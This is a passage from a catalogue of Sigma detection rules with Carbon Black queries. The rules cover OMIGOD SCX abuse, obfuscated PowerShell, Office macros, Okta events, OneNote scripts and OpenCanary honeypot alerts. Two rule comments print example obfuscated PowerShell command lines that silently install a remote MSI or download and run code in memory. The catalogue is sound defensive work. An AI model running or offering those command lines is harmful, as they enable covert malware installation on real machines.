        status_code: 200
        uri: /wsman
        method: POST
    auth_header:
        client_header_names|contains: 'AUTHORIZATION'
    too_small_http_client_body:
        request_body_len: 0
    # winrm_ports:
    #    id.resp_p:
    #        -  5985
    #        -  5986
    #        -  1270
    condition: selection and not auth_header and not too_small_http_client_body
    # condition: selection and winrm_ports and not auth_header and not too_small_http_client_body # Enable this to only perform search on default WinRM ports, however those ports are sometimes changed and therefore this is disabled by default to give a broader coverage of this rule
falsepositives:
    - Exploits that were attempted but unsuccessful.
    - Scanning attempts with the abnormal use of the HTTP POST method with no indication of code execution within the HTTP Client (Request) body. An example would be vulnerability scanners trying to identify unpatched versions while not actually exploiting the vulnerability. See description for investigation tips.
level: high
Convert to SIEM query
high Strong Medium FP
OMIGOD SCX RunAsProvider ExecuteScript
Rule to detect the use of the SCX RunAsProvider ExecuteScript to execute any UNIX/Linux script using the /bin/sh shell. Script being executed gets created as a temp file in /tmp folder with a scx* prefix. Then it is invoked from the following directory /etc/opt/microsoft/scx/conf/tmpdir/. The file in that directory has the same prefix scx*. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite.
status test author Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC ATT&CK technique id 6eea1bf6-f8d2-488a-a742-e6ef6c1b67db
carbon_black query
User:root LogonId:0 CurrentDirectory:\/var\/opt\/microsoft\/scx\/tmp CommandLine:\/etc\/opt\/microsoft\/scx\/conf\/tmpdir\/scx*
view Sigma YAML
title: OMIGOD SCX RunAsProvider ExecuteScript
id: 6eea1bf6-f8d2-488a-a742-e6ef6c1b67db
status: test
description: |
    Rule to detect the use of the SCX RunAsProvider ExecuteScript to execute any UNIX/Linux script using the /bin/sh shell.
    Script being executed gets created as a temp file in /tmp folder with a scx* prefix.
    Then it is invoked from the following directory /etc/opt/microsoft/scx/conf/tmpdir/.
    The file in that directory has the same prefix scx*. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including
    Microsoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite.
references:
    - https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure
    - https://github.com/Azure/Azure-Sentinel/pull/3059
author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC
date: 2021-10-15
modified: 2022-10-05
tags:
    - attack.privilege-escalation
    - attack.initial-access
    - attack.execution
    - attack.t1068
    - attack.t1190
    - attack.t1203
logsource:
    product: linux
    category: process_creation
detection:
    selection:
        User: root
        LogonId: 0
        CurrentDirectory: '/var/opt/microsoft/scx/tmp'
        CommandLine|contains: '/etc/opt/microsoft/scx/conf/tmpdir/scx'
    condition: selection
falsepositives:
    - Legitimate use of SCX RunAsProvider ExecuteScript.
level: high
Convert to SIEM query
high Strong Medium FP
OMIGOD SCX RunAsProvider ExecuteShellCommand
Rule to detect the use of the SCX RunAsProvider Invoke_ExecuteShellCommand to execute any UNIX/Linux command using the /bin/sh shell. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite.
status test author Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC ATT&CK technique id 21541900-27a9-4454-9c4c-3f0a4240344a
carbon_black query
User:root LogonId:0 CurrentDirectory:\/var\/opt\/microsoft\/scx\/tmp CommandLine:\/bin\/sh*
view Sigma YAML
title: OMIGOD SCX RunAsProvider ExecuteShellCommand
id: 21541900-27a9-4454-9c4c-3f0a4240344a
status: test
description: |
    Rule to detect the use of the SCX RunAsProvider Invoke_ExecuteShellCommand to execute any UNIX/Linux command using the /bin/sh shell.
    SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including
    Microsoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite.
references:
    - https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure
    - https://github.com/Azure/Azure-Sentinel/pull/3059
author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC
date: 2021-10-15
modified: 2022-10-05
tags:
    - attack.privilege-escalation
    - attack.initial-access
    - attack.execution
    - attack.t1068
    - attack.t1190
    - attack.t1203
logsource:
    product: linux
    category: process_creation
detection:
    selection:
        User: root
        LogonId: 0
        CurrentDirectory: '/var/opt/microsoft/scx/tmp'
        CommandLine|contains: '/bin/sh'
    condition: selection
falsepositives:
    - Legitimate use of SCX RunAsProvider Invoke_ExecuteShellCommand.
level: high
Convert to SIEM query
high Moderate High FP
OSACompile Run-Only Execution
Detects potential suspicious run-only executions compiled using OSACompile
status test author Sohan G (D4rkCiph3r) ATT&CK sub-technique id b9d9b652-d8ed-4697-89a2-a1186ee680ac
carbon_black query
CommandLine:osacompile* CommandLine:\ \-x\ * CommandLine:\ \-e\ *
view Sigma YAML
title: OSACompile Run-Only Execution
id: b9d9b652-d8ed-4697-89a2-a1186ee680ac
status: test
description: Detects potential suspicious run-only executions compiled using OSACompile
references:
    - https://redcanary.com/blog/applescript/
    - https://ss64.com/osx/osacompile.html
author: Sohan G (D4rkCiph3r)
date: 2023-01-31
tags:
    - attack.t1059.002
    - attack.execution
logsource:
    product: macos
    category: process_creation
detection:
    selection:
        CommandLine|contains|all:
            - 'osacompile'
            - ' -x '
            - ' -e '
    condition: selection
falsepositives:
    - Unknown
level: high
Convert to SIEM query
high Moderate High FP
Obfuscated PowerShell MSI Install via WindowsInstaller COM
Detects the execution of obfuscated PowerShell commands that attempt to install MSI packages via the Windows Installer COM object (`WindowsInstaller.Installer`). The technique involves manipulating strings to hide functionality, such as constructing class names using string insertion (e.g., 'indowsInstaller.Installer'.Insert(0,'W')) and correcting malformed URLs (e.g., converting 'htps://' to 'https://') at runtime. This behavior is commonly associated with malware loaders or droppers that aim to bypass static detection by hiding intent in runtime-generated strings and using legitimate tools for code execution. The use of `InstallProduct` and COM object creation, particularly combined with hidden window execution and suppressed UI, indicates an attempt to install software (likely malicious) without user interaction.
status experimental author Meroujan Antonyan (vx3r) ATT&CK sub-technique id 7b6a7418-3afc-11f0-aff4-000d3abf478c
carbon_black query
((Image:\\powershell_ise.exe OR Image:\\powershell.exe OR Image:\\pwsh.exe) OR (OriginalFileName:PowerShell_ISE.EXE OR OriginalFileName:PowerShell.EXE OR OriginalFileName:pwsh.dll)) (CommandLine:\-ComObject* CommandLine:InstallProduct\(* CommandLine:.Insert\(* CommandLine:UILevel*)
view Sigma YAML
title: Obfuscated PowerShell MSI Install via WindowsInstaller COM
id: 7b6a7418-3afc-11f0-aff4-000d3abf478c
status: experimental
description: |
    Detects the execution of obfuscated PowerShell commands that attempt to install MSI packages via the Windows Installer COM object (`WindowsInstaller.Installer`).
    The technique involves manipulating strings to hide functionality, such as constructing class names using string insertion (e.g., 'indowsInstaller.Installer'.Insert(0,'W')) and correcting
    malformed URLs (e.g., converting 'htps://' to 'https://') at runtime. This behavior is commonly associated with malware loaders or droppers that aim to bypass static detection
    by hiding intent in runtime-generated strings and using legitimate tools for code execution. The use of `InstallProduct` and COM object creation, particularly combined with
    hidden window execution and suppressed UI, indicates an attempt to install software (likely malicious) without user interaction.
references:
    - https://informationsecuritybuzz.com/the-real-danger-behind-a-simple-windows-shortcut/
    - https://redcanary.com/blog/threat-intelligence/intelligence-insights-may-2025/
    - https://www.virustotal.com/gui/file/f9710b0ba4de5fa0e7ec27da462d4d2fc6838eba83a19f23f6617a466bbad457
author: Meroujan Antonyan (vx3r)
date: 2025-05-27
tags:
    - attack.stealth
    - attack.t1027.010
    - attack.t1218.007
    - attack.execution
    - attack.t1059.001
logsource:
    category: process_creation
    product: windows
detection:
    # Example: "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -W Hidden -C "$u='htps://example.com/';$i=New-Object -ComObject('indowsInstaller.Installer'.Insert(0,'W'));$i.UILevel=2;$i.InstallProduct($(if($u.StartsWith('htps://')){$u.Insert(2,'t')}else{$u}),'')";
    selection_img:
        - Image|endswith:
              - '\powershell_ise.exe'
              - '\powershell.exe'
              - '\pwsh.exe'
        - OriginalFileName:
              - 'PowerShell_ISE.EXE'
              - 'PowerShell.EXE'
              - 'pwsh.dll'
    selection_cli:
        CommandLine|contains|all:
            - '-ComObject'
            - 'InstallProduct('
            - '.Insert('
            - 'UILevel'
    condition: all of selection_*
falsepositives:
    - Unknown
level: high
Convert to SIEM query
high Moderate High FP
Obfuscated PowerShell OneLiner Execution
Detects the execution of a specific OneLiner to download and execute powershell modules in memory.
status test author @Kostastsale, TheDFIRReport ATT&CK sub-technique id 44e24481-6202-4c62-9127-5a0ae8e3fe3d
carbon_black query
Image:\\powershell.exe (CommandLine:http\:\/\/127.0.0.1* CommandLine:%\{\(IRM\ $_\)\}* CommandLine:Invoke*)
view Sigma YAML
title: Obfuscated PowerShell OneLiner Execution
id: 44e24481-6202-4c62-9127-5a0ae8e3fe3d
status: test
description: Detects the execution of a specific OneLiner to download and execute powershell modules in memory.
references:
    - https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/
    - https://gist.github.com/mgeeky/3b11169ab77a7de354f4111aa2f0df38
author: '@Kostastsale, TheDFIRReport'
date: 2022-05-09
modified: 2025-04-16
tags:
    - attack.execution
    - attack.defense-impairment
    - attack.t1059.001
    - attack.t1685
logsource:
    product: windows
    category: process_creation
detection:
    selection:
        # Example: powershell -nop -noni -ep bypass -w h -c "$u=("http://127.0.0.1:1337/"|%%{(IRM $_)});&("".SubString.ToString()[67,72,64]-Join"")($u); Import-Module C:\Users\EXAMPLE\Invoke-WMIExec.ps1; Invoke-WMIExec"
        Image|endswith: '\powershell.exe'
        CommandLine|contains|all:
            - 'http://127.0.0.1'
            - '%{(IRM $_)}'
            - 'Invoke'
    condition: selection
falsepositives:
    - Unknown
level: high
Convert to SIEM query
high Moderate High FP
Octopus Scanner Malware
Detects Octopus Scanner Malware.
status test author NVISO ATT&CK sub-technique id 805c55d9-31e6-4846-9878-c34c75054fe9
carbon_black query
TargetFilename:\\AppData\\Local\\Microsoft\\Cache134.dat OR TargetFilename:\\AppData\\Local\\Microsoft\\ExplorerSync.db
view Sigma YAML
title: Octopus Scanner Malware
id: 805c55d9-31e6-4846-9878-c34c75054fe9
status: test
description: Detects Octopus Scanner Malware.
references:
    - https://securitylab.github.com/research/octopus-scanner-malware-open-source-supply-chain
author: NVISO
date: 2020-06-09
modified: 2021-11-27
tags:
    - attack.initial-access
    - attack.t1195
    - attack.t1195.001
logsource:
    product: windows
    category: file_event
detection:
    selection:
        TargetFilename|endswith:
            - '\AppData\Local\Microsoft\Cache134.dat'
            - '\AppData\Local\Microsoft\ExplorerSync.db'
    condition: selection
falsepositives:
    - Unknown
level: high
Convert to SIEM query
high Moderate High FP
Odbcconf.EXE Suspicious DLL Location
Detects execution of "odbcconf" where the path of the DLL being registered is located in a potentially suspicious location.
status test author Nasreddine Bencherchali (Nextron Systems) ATT&CK sub-technique id 6b65c28e-11f3-46cb-902a-68f2cafaf474
carbon_black query
(Image:\\odbcconf.exe OR OriginalFileName:odbcconf.exe) (CommandLine:\:\\PerfLogs\\* OR CommandLine:\:\\ProgramData\\* OR CommandLine:\:\\Temp\\* OR CommandLine:\:\\Users\\Public\\* OR CommandLine:\:\\Windows\\Registration\\CRMLog* OR CommandLine:\:\\Windows\\System32\\com\\dmp\\* OR CommandLine:\:\\Windows\\System32\\FxsTmp\\* OR CommandLine:\:\\Windows\\System32\\Microsoft\\Crypto\\RSA\\MachineKeys\\* OR CommandLine:\:\\Windows\\System32\\spool\\drivers\\color\\* OR CommandLine:\:\\Windows\\System32\\spool\\PRINTERS\\* OR CommandLine:\:\\Windows\\System32\\spool\\SERVERS\\* OR CommandLine:\:\\Windows\\System32\\Tasks_Migrated\\* OR CommandLine:\:\\Windows\\System32\\Tasks\\Microsoft\\Windows\\SyncCenter\\* OR CommandLine:\:\\Windows\\SysWOW64\\com\\dmp\\* OR CommandLine:\:\\Windows\\SysWOW64\\FxsTmp\\* OR CommandLine:\:\\Windows\\SysWOW64\\Tasks\\Microsoft\\Windows\\PLA\\System\\* OR CommandLine:\:\\Windows\\SysWOW64\\Tasks\\Microsoft\\Windows\\SyncCenter\\* OR CommandLine:\:\\Windows\\Tasks\\* OR CommandLine:\:\\Windows\\Temp\\* OR CommandLine:\:\\Windows\\Tracing\\* OR CommandLine:\\AppData\\Local\\Temp\\* OR CommandLine:\\AppData\\Roaming\\*)
view Sigma YAML
title: Odbcconf.EXE Suspicious DLL Location
id: 6b65c28e-11f3-46cb-902a-68f2cafaf474
status: test
description: Detects execution of "odbcconf" where the path of the DLL being registered is located in a potentially suspicious location.
references:
    - https://learn.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-ver16
    - https://www.trendmicro.com/en_us/research/17/h/backdoor-carrying-emails-set-sights-on-russian-speaking-businesses.html
    - https://securityintelligence.com/posts/raspberry-robin-worm-dridex-malware/
author: Nasreddine Bencherchali (Nextron Systems)
date: 2023-05-22
modified: 2023-05-26
tags:
    - attack.stealth
    - attack.t1218.008
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - Image|endswith: '\odbcconf.exe'
        - OriginalFileName: 'odbcconf.exe'
    selection_cli:
        # Note: Add more suspicious locations
        CommandLine|contains:
            - ':\PerfLogs\'
            - ':\ProgramData\'
            - ':\Temp\'
            - ':\Users\Public\'
            - ':\Windows\Registration\CRMLog'
            - ':\Windows\System32\com\dmp\'
            - ':\Windows\System32\FxsTmp\'
            - ':\Windows\System32\Microsoft\Crypto\RSA\MachineKeys\'
            - ':\Windows\System32\spool\drivers\color\'
            - ':\Windows\System32\spool\PRINTERS\'
            - ':\Windows\System32\spool\SERVERS\'
            - ':\Windows\System32\Tasks_Migrated\'
            - ':\Windows\System32\Tasks\Microsoft\Windows\SyncCenter\'
            - ':\Windows\SysWOW64\com\dmp\'
            - ':\Windows\SysWOW64\FxsTmp\'
            - ':\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\System\'
            - ':\Windows\SysWOW64\Tasks\Microsoft\Windows\SyncCenter\'
            - ':\Windows\Tasks\'
            - ':\Windows\Temp\'
            - ':\Windows\Tracing\'
            - '\AppData\Local\Temp\'
            - '\AppData\Roaming\'
    condition: all of selection_*
falsepositives:
    - Unlikely
level: high
Convert to SIEM query
high Moderate High FP
Office Macro File Creation From Suspicious Process
Detects the creation of a office macro file from a a suspicious process
status test author frack113, Nasreddine Bencherchali (Nextron Systems) ATT&CK sub-technique id b1c50487-1967-4315-a026-6491686d860e
carbon_black query
((Image:\\cscript.exe OR Image:\\mshta.exe OR Image:\\regsvr32.exe OR Image:\\rundll32.exe OR Image:\\wscript.exe) OR (ParentImage:\\cscript.exe OR ParentImage:\\mshta.exe OR ParentImage:\\regsvr32.exe OR ParentImage:\\rundll32.exe OR ParentImage:\\wscript.exe)) (TargetFilename:.docm OR TargetFilename:.dotm OR TargetFilename:.xlsm OR TargetFilename:.xltm OR TargetFilename:.potm OR TargetFilename:.pptm)
view Sigma YAML
title: Office Macro File Creation From Suspicious Process
id: b1c50487-1967-4315-a026-6491686d860e
status: test
description: Detects the creation of a office macro file from a a suspicious process
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1566.001/T1566.001.md
    - https://learn.microsoft.com/en-us/deployoffice/compat/office-file-format-reference
author: frack113, Nasreddine Bencherchali (Nextron Systems)
date: 2022-01-23
modified: 2023-02-22
tags:
    - attack.initial-access
    - attack.t1566.001
logsource:
    category: file_event
    product: windows
    definition: 'Requirements: The "ParentImage" field is not available by default on EID 11 of Sysmon logs. To be able to use this rule to the full extent you need to enriche the log with additional ParentImage data'
detection:
    selection_cmd:
        - Image|endswith:
              - '\cscript.exe'
              - '\mshta.exe'
              - '\regsvr32.exe'
              - '\rundll32.exe'
              - '\wscript.exe'
        # Note: ParentImage is a custom field and is not available by default on Sysmon EID 11
        - ParentImage|endswith:
              - '\cscript.exe'
              - '\mshta.exe'
              - '\regsvr32.exe'
              - '\rundll32.exe'
              - '\wscript.exe'
    selection_ext:
        TargetFilename|endswith:
            - '.docm'
            - '.dotm'
            - '.xlsm'
            - '.xltm'
            - '.potm'
            - '.pptm'
    condition: all of selection_*
falsepositives:
    - Unknown
level: high
Convert to SIEM query
high Moderate Medium FP
Office Macros Warning Disabled
Detects registry changes to Microsoft Office "VBAWarning" to a value of "1" which enables the execution of all macros, whether signed or unsigned.
status test author Trent Liffick (@tliffick), Nasreddine Bencherchali (Nextron Systems) ATT&CK technique id 91239011-fe3c-4b54-9f24-15c86bb65913
carbon_black query
TargetObject:\\Security\\VBAWarnings Details:DWORD\ \(0x00000001\)
view Sigma YAML
title: Office Macros Warning Disabled
id: 91239011-fe3c-4b54-9f24-15c86bb65913
related:
    - id: 9b894e57-033f-46cf-b7fa-a52804181973
      type: obsolete
status: test
description: Detects registry changes to Microsoft Office "VBAWarning" to a value of "1" which enables the execution of all macros, whether signed or unsigned.
references:
    - https://twitter.com/inversecos/status/1494174785621819397
    - https://www.mcafee.com/blogs/other-blogs/mcafee-labs/zloader-with-a-new-infection-technique/
    - https://securelist.com/scarcruft-surveilling-north-korean-defectors-and-human-rights-activists/105074/
author: Trent Liffick (@tliffick), Nasreddine Bencherchali (Nextron Systems)
date: 2020-05-22
modified: 2024-03-19
tags:
    - attack.persistence
    - attack.defense-impairment
    - attack.t1112
logsource:
    category: registry_set
    product: windows
detection:
    selection:
        TargetObject|endswith: '\Security\VBAWarnings'
        Details: 'DWORD (0x00000001)'
    condition: selection
falsepositives:
    - Unlikely
level: high
Convert to SIEM query
high Moderate Low FP
Okta FastPass Phishing Detection
Detects when Okta FastPass prevents a known phishing site.
status test author Austin Songer @austinsonger ATT&CK technique id ee39a9f7-5a79-4b0a-9815-d36b3cf28d3e
carbon_black query
"outcome.reason":FastPass\ declined\ phishing\ attempt "outcome.result":FAILURE eventType:user.authentication.auth_via_mfa
view Sigma YAML
title: Okta FastPass Phishing Detection
id: ee39a9f7-5a79-4b0a-9815-d36b3cf28d3e
status: test
description: Detects when Okta FastPass prevents a known phishing site.
references:
    - https://sec.okta.com/fastpassphishingdetection
    - https://developer.okta.com/docs/reference/api/system-log/
    - https://developer.okta.com/docs/reference/api/event-types/
author: Austin Songer @austinsonger
date: 2023-05-07
modified: 2026-04-27
tags:
    - attack.initial-access
    - attack.t1566
logsource:
    product: okta
    service: okta
detection:
    selection:
        outcome.reason: 'FastPass declined phishing attempt'
        outcome.result: FAILURE
        eventType: user.authentication.auth_via_mfa
    condition: selection
falsepositives:
    - Unlikely
level: high
Convert to SIEM query
high Strong Medium FP
Okta New Admin Console Behaviours
Detects when Okta identifies new activity in the Admin Console.
status test author kelnage ATT&CK sub-technique id a0b38b70-3cb5-484b-a4eb-c4d8e7bcc0a9
carbon_black query
(eventType:policy.evaluate_sign_on "target.displayName":Okta\ Admin\ Console) ("debugContext.debugData.behaviors":POSITIVE* OR "debugContext.debugData.logOnlySecurityData":POSITIVE*)
view Sigma YAML
title: Okta New Admin Console Behaviours
id: a0b38b70-3cb5-484b-a4eb-c4d8e7bcc0a9
status: test
description: Detects when Okta identifies new activity in the Admin Console.
references:
    - https://developer.okta.com/docs/reference/api/system-log/
    - https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection
author: kelnage
date: 2023-09-07
modified: 2026-04-27
tags:
    - attack.privilege-escalation
    - attack.persistence
    - attack.initial-access
    - attack.stealth
    - attack.t1078.004
logsource:
    product: okta
    service: okta
detection:
    selection_event:
        eventType: 'policy.evaluate_sign_on'
        target.displayName: 'Okta Admin Console'
    selection_positive:
        - debugContext.debugData.behaviors|contains: 'POSITIVE'
        - debugContext.debugData.logOnlySecurityData|contains: 'POSITIVE'
    condition: all of selection_*
falsepositives:
    - When an admin begins using the Admin Console and one of Okta's heuristics incorrectly identifies the behavior as being unusual.
level: high
Convert to SIEM query
high Moderate Medium FP
Okta Suspicious Activity Reported by End-user
Detects when an Okta end-user reports activity by their account as being potentially suspicious.
status test author kelnage ATT&CK sub-technique id 07e97cc6-aed1-43ae-9081-b3470d2367f1
carbon_black query
eventType:user.account.report_suspicious_activity_by_enduser
view Sigma YAML
title: Okta Suspicious Activity Reported by End-user
id: 07e97cc6-aed1-43ae-9081-b3470d2367f1
status: test
description: Detects when an Okta end-user reports activity by their account as being potentially suspicious.
references:
    - https://developer.okta.com/docs/reference/api/system-log/
    - https://github.com/okta/workflows-templates/blob/1164f0eb71ce47c9ddc7d850e9ab87b5a2b42333/workflows/suspicious_activity_reported/readme.md
author: kelnage
date: 2023-09-07
modified: 2026-04-27
tags:
    - attack.resource-development
    - attack.t1586.003
logsource:
    product: okta
    service: okta
detection:
    selection:
        eventType: 'user.account.report_suspicious_activity_by_enduser'
    condition: selection
falsepositives:
    - If an end-user incorrectly identifies normal activity as suspicious.
level: high
Convert to SIEM query
high Strong Low FP
Okta User Session Start Via An Anonymising Proxy Service
Detects when an Okta user session starts where the user is behind an anonymising proxy service.
status test author kelnage ATT&CK technique id bde30855-5c53-4c18-ae90-1ff79ebc9578
carbon_black query
eventType:user.session.start "securityContext.isProxy":true
view Sigma YAML
title: Okta User Session Start Via An Anonymising Proxy Service
id: bde30855-5c53-4c18-ae90-1ff79ebc9578
status: test
description: Detects when an Okta user session starts where the user is behind an anonymising proxy service.
references:
    - https://developer.okta.com/docs/reference/api/system-log/
    - https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection
author: kelnage
date: 2023-09-07
modified: 2026-04-27
tags:
    - attack.defense-impairment
    - attack.t1685
logsource:
    product: okta
    service: okta
detection:
    selection:
        eventType: 'user.session.start'
        securityContext.isProxy: 'true'
    condition: selection
falsepositives:
    - If a user requires an anonymising proxy due to valid justifications.
level: high
Convert to SIEM query
high Moderate High FP
OneNote.EXE Execution of Malicious Embedded Scripts
Detects the execution of malicious OneNote documents that contain embedded scripts. When a user clicks on a OneNote attachment and then on the malicious link inside the ".one" file, it exports and executes the malicious embedded script from specific directories.
status test author @kostastsale ATT&CK sub-technique id 84b1706c-932a-44c4-ae28-892b28a25b94
carbon_black query
ParentImage:\\onenote.exe (Image:\\cmd.exe OR Image:\\cscript.exe OR Image:\\mshta.exe OR Image:\\powershell.exe OR Image:\\pwsh.exe OR Image:\\wscript.exe) (CommandLine:\\exported\\* OR CommandLine:\\onenoteofflinecache_files\\*)
view Sigma YAML
title: OneNote.EXE Execution of Malicious Embedded Scripts
id: 84b1706c-932a-44c4-ae28-892b28a25b94
status: test
description: |
    Detects the execution of malicious OneNote documents that contain embedded scripts.
    When a user clicks on a OneNote attachment and then on the malicious link inside the ".one" file, it exports and executes the malicious embedded script from specific directories.
references:
    - https://bazaar.abuse.ch/browse/tag/one/
author: '@kostastsale'
date: 2023-02-02
tags:
    - attack.stealth
    - attack.t1218.001
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith: '\onenote.exe'
        Image|endswith:
            - '\cmd.exe'
            - '\cscript.exe'
            - '\mshta.exe'
            - '\powershell.exe'
            - '\pwsh.exe'
            - '\wscript.exe'
        CommandLine|contains:
            - '\exported\'
            - '\onenoteofflinecache_files\'
    condition: selection
falsepositives:
    - Unlikely
level: high
Convert to SIEM query
high Moderate High FP
Onyx Sleet APT File Creation Indicators
Detects file creation activity that is related to Onyx Sleet APT activity
status test author Nasreddine Bencherchali (Nextron Systems) ATT&CK tactic-only id 2fef4fd9-7206-40d1-b4f5-ad6441d0cd9b
carbon_black query
TargetFilename:\:\\Windows\\ADFS\\bg\\inetmgr.exe
view Sigma YAML
title: Onyx Sleet APT File Creation Indicators
id: 2fef4fd9-7206-40d1-b4f5-ad6441d0cd9b
status: test
description: Detects file creation activity that is related to Onyx Sleet APT activity
references:
    - https://www.microsoft.com/en-us/security/blog/2023/10/18/multiple-north-korean-threat-actors-exploiting-the-teamcity-cve-2023-42793-vulnerability/
author: Nasreddine Bencherchali (Nextron Systems)
date: 2023-10-24
tags:
    - attack.execution
    - detection.emerging-threats
logsource:
    category: file_event
    product: windows
detection:
    selection:
        TargetFilename|endswith: ':\Windows\ADFS\bg\inetmgr.exe'
    condition: selection
falsepositives:
    - Unlikely
level: high
Convert to SIEM query
high Moderate Medium FP
OpenCanary - FTP Login Attempt
Detects instances where an FTP service on an OpenCanary node has had a login attempt.
status test author Security Onion Solutions ATT&CK technique id 6991bc2b-ae2e-447f-bc55-3a1ba04c14e5
carbon_black query
logtype:2000
view Sigma YAML
title: OpenCanary - FTP Login Attempt
id: 6991bc2b-ae2e-447f-bc55-3a1ba04c14e5
status: test
description: Detects instances where an FTP service on an OpenCanary node has had a login attempt.
references:
    - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration
    - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
author: Security Onion Solutions
date: 2024-03-08
tags:
    - attack.initial-access
    - attack.exfiltration
    - attack.lateral-movement
    - attack.t1190
    - attack.t1021
logsource:
    category: application
    product: opencanary
detection:
    selection:
        logtype: 2000
    condition: selection
falsepositives:
    - Unlikely
level: high
Convert to SIEM query
high Moderate Medium FP
OpenCanary - GIT Clone Request
Detects instances where a GIT service on an OpenCanary node has had Git Clone request.
status test author Security Onion Solutions ATT&CK technique id 4fe17521-aef3-4e6a-9d6b-4a7c8de155a8
carbon_black query
logtype:16001
view Sigma YAML
title: OpenCanary - GIT Clone Request
id: 4fe17521-aef3-4e6a-9d6b-4a7c8de155a8
status: test
description: Detects instances where a GIT service on an OpenCanary node has had Git Clone request.
references:
    - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration
    - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
author: Security Onion Solutions
date: 2024-03-08
tags:
    - attack.collection
    - attack.t1213
logsource:
    category: application
    product: opencanary
detection:
    selection:
        logtype: 16001
    condition: selection
falsepositives:
    - Unlikely
level: high
Convert to SIEM query
high Moderate Medium FP
OpenCanary - HTTP GET Request
Detects instances where an HTTP service on an OpenCanary node has received a GET request.
status test author Security Onion Solutions ATT&CK technique id af6c3078-84cd-4c68-8842-08b76bd81b13
carbon_black query
logtype:3000
view Sigma YAML
title: OpenCanary - HTTP GET Request
id: af6c3078-84cd-4c68-8842-08b76bd81b13
status: test
description: Detects instances where an HTTP service on an OpenCanary node has received a GET request.
references:
    - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration
    - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
author: Security Onion Solutions
date: 2024-03-08
tags:
    - attack.initial-access
    - attack.t1190
logsource:
    category: application
    product: opencanary
detection:
    selection:
        logtype: 3000
    condition: selection
falsepositives:
    - Unlikely
level: high
Convert to SIEM query
high Moderate Medium FP
OpenCanary - HTTP POST Login Attempt
Detects instances where an HTTP service on an OpenCanary node has had login attempt via Form POST.
status test author Security Onion Solutions ATT&CK technique id af1ac430-df6b-4b38-b976-0b52f07a0252
carbon_black query
logtype:3001
view Sigma YAML
title: OpenCanary - HTTP POST Login Attempt
id: af1ac430-df6b-4b38-b976-0b52f07a0252
status: test
description: |
    Detects instances where an HTTP service on an OpenCanary node has had login attempt via Form POST.
references:
    - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration
    - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
author: Security Onion Solutions
date: 2024-03-08
tags:
    - attack.initial-access
    - attack.t1190
logsource:
    category: application
    product: opencanary
detection:
    selection:
        logtype: 3001
    condition: selection
falsepositives:
    - Unlikely
level: high
Convert to SIEM query
high Moderate Medium FP
OpenCanary - HTTPPROXY Login Attempt
Detects instances where an HTTPPROXY service on an OpenCanary node has had an attempt to proxy another page.
status test author Security Onion Solutions ATT&CK technique id 5498fc09-adc6-4804-b9d9-5cca1f0b8760
carbon_black query
logtype:7001
view Sigma YAML
title: OpenCanary - HTTPPROXY Login Attempt
id: 5498fc09-adc6-4804-b9d9-5cca1f0b8760
status: test
description: |
    Detects instances where an HTTPPROXY service on an OpenCanary node has had an attempt to proxy another page.
references:
    - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration
    - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
author: Security Onion Solutions
date: 2024-03-08
tags:
    - attack.initial-access
    - attack.command-and-control
    - attack.t1090
logsource:
    category: application
    product: opencanary
detection:
    selection:
        logtype: 7001
    condition: selection
falsepositives:
    - Unlikely
level: high
Convert to SIEM query
high Moderate Medium FP
OpenCanary - Host Port Scan (SYN Scan)
Detects instances where an OpenCanary node has been targeted by a SYN port scan.
status experimental author Marco Pedrinazzi (@pedrinazziM) ATT&CK technique id 974be8d2-283e-4033-ab08-7505b84204d0
carbon_black query
logtype:5001
view Sigma YAML
title: OpenCanary - Host Port Scan (SYN Scan)
id: 974be8d2-283e-4033-ab08-7505b84204d0
status: experimental
description: Detects instances where an OpenCanary node has been targeted by a SYN port scan.
references:
    - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration
    - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
author: Marco Pedrinazzi (@pedrinazziM)
date: 2026-01-06
tags:
    - attack.discovery
    - attack.t1046
logsource:
    category: application
    product: opencanary
detection:
    selection:
        logtype: 5001
    condition: selection
falsepositives:
    - Unlikely
level: high
Convert to SIEM query
high Moderate Medium FP
